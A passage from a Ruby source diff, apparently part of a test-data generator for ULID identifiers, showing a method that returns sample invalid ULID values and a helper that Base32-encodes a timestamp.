+ # Generate invalid ULID values
408
+ #
409
+ # @param rng [Generator::RNG] random number generator
410
+ # @param context [Generator::Context] generation context
411
+ # @param args [Hash] type arguments (not used)
412
+ # @return [Object] invalid ULID value
413
+ #
414
+ def generate_invalid(rng, context, args)
415
+ rng.sample([
416
+ "not-a-ulid",
417
+ nil,
418
+ 123,
419
+ ""
420
+ ])
421
+ end
422
+
423
+ private
424
+
425
+ # Encode timestamp as ULID time component
426
+ #
427
+ # Converts milliseconds since Unix epoch into 10-character
428
+ # Base32-encoded string.
429
+ #
430
+ # @param ms [Integer] milliseconds since Unix epoch
431
+ # @return [String] 10-character time component
432
+ #
433
+ def encode_time(ms)
434
+ result = ""
435
+ value = ms
436
+ 10.times do
437
+ result = BASE32_CHARS[value % 32] + result
438
+ value /= 32
439
+ end
440
+ result
441
+ end
442
+ end
443
+ end
444
+ end
445
+ end